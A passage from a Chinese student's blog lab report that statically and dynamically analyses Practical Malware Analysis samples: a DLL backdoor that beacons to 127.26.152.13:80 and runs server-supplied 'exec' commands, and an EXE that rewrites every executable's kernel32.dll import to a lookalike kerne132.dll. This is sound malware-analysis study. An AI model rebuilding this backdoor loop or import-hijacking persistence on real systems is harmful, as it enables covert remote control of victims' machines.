db是申请一个字节然后,后面的0代表了存储的数据。将 al 也就是 0 存入 [esp+1208h+buf] 的位置之后,将 eax 置为 0,然后用 OpenMutexA 打开了一个叫 SADFHUHF的互斥量,然后查看调用结果,如果结果 eax0了,jnz 不跳转,反之如果不为 0jnz 跳转。

image-20230111222422426

MSDN里面写明了这个OpenMutexA的返回值,逻辑上归纳一下就是,如果调用失败,返回 NULL,在计算机中也就是 0jnz 不会跳转,继续执行代码,反之如果调用成功,则 jnz 跳转,跳转之后我们顺着箭头可以看到是结束执行了。

所以,这是判断当前系统中是否有相同程序的作用,一个系统中只能运行一个这个程序。

image-20230111222604368

如果 OpenMutexA 调用失败,执行上面这段代码,也就是没跳转之后执行的代码。这里是调用CreateMutexA来创建一个叫 SADFHUHF 互斥量,然后在调用 WSAStartup 这个函数:

image-20230111222655669

这个函数是 Windows 异步套接字启动命令,从 MSDN 中我们可以分析这个函数入参有哪些:

image-20230111222728458

IDA 的标注中我们也可以证明上述函数的入参:

image-20230111222750732

wVersionRequested 的调用者可以使用的最高版本的 Windows Sockets 规范,高位字节指定次要版本号,低位字节指定主版本号。

根据这个入参 202h 换算成二进制就是 ‭0000,0010,0000,0010‬,分成高字节和低字节之后就是 (00000010, 00000010) ,也即 (2.2),所以这里指定的套接字版本是 2.2

lpWSAData 是指向 WSADATA 数据结构的指针,用于接收 Windows Sockets 实现的详细信息,如果成功了,返回0

逻辑上总结一下就是,WSAStartup之后,返回值经过那个 test 之后,如果成功,返回 0,然后 jnz 不跳转,反之如果不成功,跳转结束程序。

假设调用成功了,程序就会来到这里执行:

image-20230111223239562

这里是初始话了一个 TCPINET 连接,然后将返回值赋值给 esi,之后和 0,FFFF,FFFFh 进行比较

我们联想到有符号数的概念, 0,FFFF,FFFFh 值有可能是个负值。根据计算方法,先将这个赋值减1,然后计算反码,然后在将非符号位转换成十进制,即 FFFF,FFFF-1=FFFF,FFFE

然后除了符号位之外,全部取反码,最后就是 1000,0000,0000,0000,0000,0000,0000,0001,最后换算成十进制就是 -1d

如果返回值大于 -1d 的话,jnz 跳转,jz 不跳转。

逻辑上归纳一下就是,如果返回值大于 -1d,函数继续执行,不跳转;反之返回值小于等于 -1d 的话,jz 跳转,之后就是做一些清理工作就退出程序了。

假设函数没有跳转,之后便会执行这些函数:

image-20230111223521403

msdnconnect 函数定义如下:

image-20230111223553999

s 的值是 esiname 的值是 edxnamelen 的值是 10h。这里的 namelen 好理解,10h 换算成十进制也是 10d,其他的 sesi 代表的是刚刚我们 WSAStartup 初始话之后保存在 esi 栈中的套接字。

然后就是 edx 的值,结合上面的代码,我们会发现,其实 edx 指向的就是 127.26.152.13:80

当然,这个时候已经不是 127.26.152.13:80 这个值了,经过 hton 一系列变化之后已经从主机(Host)序转换成网络(Network)序了。注意调用 hton 之前 push 进栈的 50h,这个是端口号,然后网络序是计算机在网络上通信使用的底层编码,我们知道这个值代表了这个 IP 和端口就够了。

该函数的返回值定义如下:如果没有错误,就返回 0

假设程序返回值是0,然后继续分析主干代码:

image-20230111223909294

这里是将 ebp 存储 strncmp 函数的位置,其实就是指向 strncmp 函数的一个指针;ebx也是同样的道理,是指向 CreateProcessA 的指针。

这里没有跳转,继续往下执行,下面就是:

image-20230111223951808

可以看出来,只有有一个 1,最后的结算结果就是 1,而我们运算的第二个因子是 FFFF,FFFFh,所以分析可知,这个 or 运算的目的是将 ecx 全部置 1,将 eax 全部置0

之后最主要的就是调用了 send 函数,这里最主要的是将 buf 里面的值 hello 发送出去,该函数返回的是发送的字节数。

然后我们依旧假设 send 没有报错,我们就会来到这里:

image-20230111224143309

这里调用了 shutdown 函数,该函数的入参是 esi1

image-20230111224313224

该函数的作用是关闭这个 socket 连接。

然后也是比较返回值,如果调用失败,跳转结束函数;如果函数调用成功,则执行以下代码:

image-20230111224401319

我们阅读 recv MSDN 说明后可知,函数是返回接受的字节数,如果数据已经传输完毕,然后没有接受到数据(eax=0),或者报错的时候(eax<0),JLE 就会跳转。

这时候,函数就会跳回这个代码片段以前的地方重复执行。然后有会重新发送一个 hello 出去,然后关闭连接,接收一个回执,如果接收失败又跳回去发送 hello

这个代码片段可以用以下C语言代码来描述:

iResult = send( ConnectSocket, sendbuf, (int)strlen(sendbuf), 0 );
// 以下是发送失败跳转处理函数
if (iResult == SOCKET_ERROR) {
    //printf("send failed: %d\n", WSAGetLastError());
    closesocket(ConnectSocket);
    WSACleanup();
    return 1;
}

//printf("Bytes Sent: %ld\n", iResult);

// shutdown the connection since no more data will be sent
// 关闭连接
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
    //printf("shutdown failed: %d\n", WSAGetLastError());
    closesocket(ConnectSocket);
    WSACleanup();
    return 1;
}

// 循环发送
// 接受数据失败跳转
do {
    iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
    if ( iResult > 0 )
        //printf("Bytes received: %d\n", iResult);
        do_something(iResult);
    else if ( iResult == 0 )
        printf("Connection closed\n");
    else
        printf("recv failed: %d\n", WSAGetLastError());
} while( iResult > 0 );

我们依旧假设我们接受数据成功了,接下来就会处理这个代码片段:

image-20230111224622024

msdn 中的说明如下:

int strncmp(
   const char *string1,
   const char *string2,
   size_t count
);

根据以前的知识,可以从汇编代码中得出以下C语言伪代码:

const char string1[] = "sleep";
const char *string2 = buf; 			//buf是从recv获得的数据
size_t count = 5;

strncmp(string1, string2, count);

strncmp 函数会比较前 count 个字符串相等或不相等,我们这里的 count 是等于 5,所以也就是 sleep 这个字符串的长度,它会比较接受的字符串是不是 sleep

然后 test 一下 eax 的值是不是为0,然后如果不为 0 了的话,jnz 跳转。

逻辑上归纳一下就是,如果接收的字符串是 sleep 的话,函数跳转到左边的地方执行,也就是调用 sleep 函数来是进程休眠,休眠的时间是 6,0000h 也就是‭ 393216‬dms ,约等于 6.053min

执行完这些后,这个代码片段跳到一开始发送 hello 那里开始执行:

如果接受的参数不是sleep的话,执行左边的这串,这里是判断发送的字符串是不是 exec

image-20230111225002507

如果不是,进行一个比较:

image-20230111225020570

比较这个 buf 的大小和 71h71h = 113d,如果 buf = 71h的话,ZF=1,那么 jz 跳转,跳转之后就是结束程序。如果不相等的话,会休眠 6 min

然后休眠完之后会跳转到一开始发送 hello 那个地方,这里这个代码片段的作用应该是判断缓冲区是否大于某个值的。我们回到如果接受的字符串是 exec 的情况,那么将执行下面这些函数:

image-20230111225232961

我们注意到这里的一个调用函数就是 CreateProcessA 这个函数,msdn 定义如下:

image-20230111225308396

根据汇编代码,我们可以整理出这些入参的具体值是多少,并剔除没有意义的初始值为 0 的参数:

lpCommandLine=edx
bInheritHandles=1
dwCreationFlags=8000000h
lpStartupInfo=ecx
lpProcessInformation=eax

然后把其中的寄存器换成具体的变量就是:

lpCommandLine=CommandLine
bInheritHandles=1
dwCreationFlags=8000000h
lpStartupInfo=StartupInfo
lpProcessInformation=ProcessInformation

这里最重要的就是 CommandLine 这个参数,表明了我们要为什么可执行文件创建一个进程来运行,但是我们点开这个 CommandLine 的时候会发现这个在栈中的数据并没有表明具体的值:

image-20230111225628565

服务器发送来的字符串我们假设会是这样的 exec C:\\Windows\someshell.exe,程序将 exec+(空格) 剔除之后剩下的部分就是那个 CommandLine 的部分,这个取决有服务器发送,是个不定值,无法从代码中看出来,所以这里的意思就是为这个 C:\\Windows\someshell.exe 专门创建一个进程来运行它,这个可执行文件一般是事先就上传到服务器的病毒木马;然后这个代码片段运行完之后,又返回到发送 hello 那里继续循环执行。

6.3.5 exe 文件程序分析

main 函数开始看:

image-20230111225926082

我们可以发现此函数会调用main函数的第一个参数,并且将第一个参数与2进行比较,之后判断第二个参数的内容和 WARNING_THIS_WILL_DESTROY_YOUR_MACHINE 的内容是否一致,如果一致才会继续往下执行。如果可以正确执行,就会执行以下内容:

image-20230111230503397

其会创建文件以及创建文件映射(将 kernel32.dll 映射到内存中)。

image-20230111230607883

接下来的映射调用回映射恶意程序 lab07-03.dll 文件。接下来调用了 sub_401040 函数,进入以后发现其调用了 sub_401000 函数。我们暂时不分析此函数,向下分析,返回主函数向下分析:

image-20230111230702011

此过程进行了句柄的关闭,此时就说明已经结束了程序的运行操作。接下来使用 copyfile 函数将文件复制到改造的 kerne132.dll,为了达到混淆的效果。

image-20230111230837836

image-20230111230858957

我们会发现此函数会将上一步的“C:\*”作为第一个参数,然后将其作为 FindFirstFileA 函数寻找文件。
继续向下我们会发现存在 stricmp 比较函数,那就说明此函数会存在比较,想上查找可以发现:

image-20230111231128511

存在对 exe 文件的比较。总结来说,该程序在C盘中搜索所有 exe 程序,如果找到了就会调用 sub_4010A0

image-20230111231237908

我们会发现此函数会将找到的函数映射到内存中。向下分析:

image-20230111231315927

我们会发现此函数对 kerne132.dll 进行字符串比较,如果比较成功的话就会运行下一步程序:

image-20230111231355101

整体来说这布程序的目的是遍历 exe 程序寻找是否存在 kernel32.dll 程序,如果存在就调用 repne 覆盖掉原始的程序,覆盖的字符为 dword_403010,点击该字符,并按 a 转换为字符串,得到以下结果:

image-20230111231531961

此时我们就会发现是将l变成了1

总结以上:此程序会遍历C盘中中的所有 exe 程序,将程序中的导入表中的 kernel32.dll 转化为 kerne132.dll。这是就会在每次 exe 文件运行时就会自动加载被修改的 kernel32.dll

运行程序,打开 process monitor 设置过滤措施:

image-20230111231820955

现在正式运行程序,在cmd窗口输入:Lab07-03.exe WARNING_THIS_WILL_DESTROY_YOUR_MACHINE,现在我们可以在 process monitor 中监控到很多关于文件的操作:

image-20230111231842529

现在我们可以查看一下可能被感染的 exe 程序,例如在根目录下的 strings.exe 程序,将其拖入到 dependency walker 中:

image-20230111231917978

我们可以发现在 kerne132.dll中还是存在原来的 kernel32.dll 程序的,说明还是可以运行正常的 kernel32.dll 的功能。

实验总结与心得体会

本次实验耗时一个多星期时间,让我系统的实操了软件安全中的进程安全分析、PE文件病毒实现、缓冲区溢出漏洞的分析与利用、恶意样本的静态分析与动态分析,通过在虚拟机中的实际操作和病毒代码的实际编写,我对课内知识的理解更加透彻,并体会到软件安全在实际计算机环境中的重要应用:如格式化串溢出漏洞,是由程序员错误使用相应函数而导致的,这告诉我们日常编程中要养成良好的代码习惯,避免相关不必要的安全问题。我在实验中收获到的知识颇丰:

  • 在实验一中,我熟悉和掌握了 Windows 内核的相关知识,通过在 Windbg 软件对 Windows 内核的调试,我对 EPROCESSActiveProcessLink活动进程链表、KPROCESS 结构的理解更加深入,体会到 EPROCESS 结构体在表示和管理系统进程中的重要作用;
  • 在实验二中,我进行了 PE 文件病毒核心机制的实现,对病毒感染 PE 文件的三种方式节添加、节扩展、节插入的原理理解更加深入,并对 PE 病毒编写的关键技术定位、获取 API 函数、搜索目标文件、感染、破坏等具体方法和步骤有了实际的认识和掌握,通过实际编写获取 API 函数地址的代码,对其原理有了全新的感知;
  • 在实验三中,我实际构造和模拟了栈溢出、堆溢出、BSS 溢出、格式化串溢出等四大缓冲区溢出类型的场景,并对具有这些溢出漏洞的程序进行了利用,从而达到提权或获取系统信息的目的,使我对课内所讲缓冲区溢出漏洞的基本原理有了更直观的认知;
  • 在实验四中,我分析了五个 Lab、近二十个恶意样本的执行机理和实现思路,通过静态分析和动态分析,掌握了在恶意样本分析中的静态分析和动态分析等调试手段,对静态分析和动态分析中的基本工具的使用更加熟悉,对拿到一个恶意样本分析的一般规律有了更多自己的体会。

软件安全分析是信息安全领域的一大重要内容。通过四个实验的实操,我对软件安全有了更加深刻的认识,我将在今后的软件安全实践中加以运用,不断学习,提高自己的专业水平。


文章作者: ShiQuLiZhi
版权声明: 本博客所有文章除特别声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 ShiQuLiZhi !
评论
  目录